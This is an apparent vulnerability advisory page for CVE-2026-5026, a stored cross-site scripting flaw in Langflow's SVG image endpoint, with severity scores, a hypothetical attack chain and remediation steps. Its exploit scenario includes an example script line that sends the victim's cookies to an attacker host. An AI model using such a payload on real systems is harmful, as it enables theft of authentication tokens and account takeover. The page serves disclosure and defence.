Skip to main content

Langflow CVE-2026-5026

| EUVD-2026-16666 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-03-27 vulnreport@tenable.com GHSA-89f7-r7x8-83q7
7.0
CVSS 4.0 · NVD
Share

Severity by source

NVD PRIMARY
7.0 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

5
Analysis Updated
Apr 20, 2026 - 13:28 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Apr 20, 2026 - 13:22 vuln.today
cvss_changed
EUVD ID Assigned
Mar 27, 2026 - 15:22 euvd
EUVD-2026-16666
Analysis Generated
Mar 27, 2026 - 15:22 vuln.today
CVE Published
Mar 27, 2026 - 15:17 nvd
HIGH 7.0

DescriptionCVE.org

The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content.

Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens.

AnalysisAI

{flow_id}/{file_name}' endpoint serves user-uploaded SVG files with 'image/svg+xml' content type without sanitization, enabling embedded JavaScript execution in victim browsers. Authenticated attackers with low privileges can upload crafted SVGs that execute in other users' contexts, exfiltrating JWT access and refresh tokens from cookies. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Authenticate to Langflow
Delivery
Create flow with malicious SVG upload
Exploit
Embed SVG in flow component
Install
Social engineer victim to view flow
C2
Browser renders SVG with script execution
Execute
Exfiltrate JWT tokens from cookies
Impact
Attacker achieves account takeover

Vulnerability AssessmentAI

Exploitation Requires authenticated access to Langflow with file upload privileges (CVSS PR:L indicates low-privileged user account sufficient). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Real-world risk is moderate despite the 7.0 CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Langflow user with file upload permissions creates a new flow and uploads a malicious SVG file containing embedded JavaScript (e.g., <script>fetch('https://attacker.com/exfil?token='+document.cookie)</script>) disguised as a workflow diagram or icon. The attacker shares the flow with colleagues or publishes it to a community repository. …
Remediation Apply vendor-released patch once available from the Langflow project repository (monitor https://github.com/langflow-ai/langflow for security updates and CVE-2026-5026 fix announcements). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Disable or restrict SVG file uploads in Langflow's file handling configuration; review access logs for suspicious SVG uploads to the '/api/v1/files/images/' endpoint in the past 30 days. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-5026 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy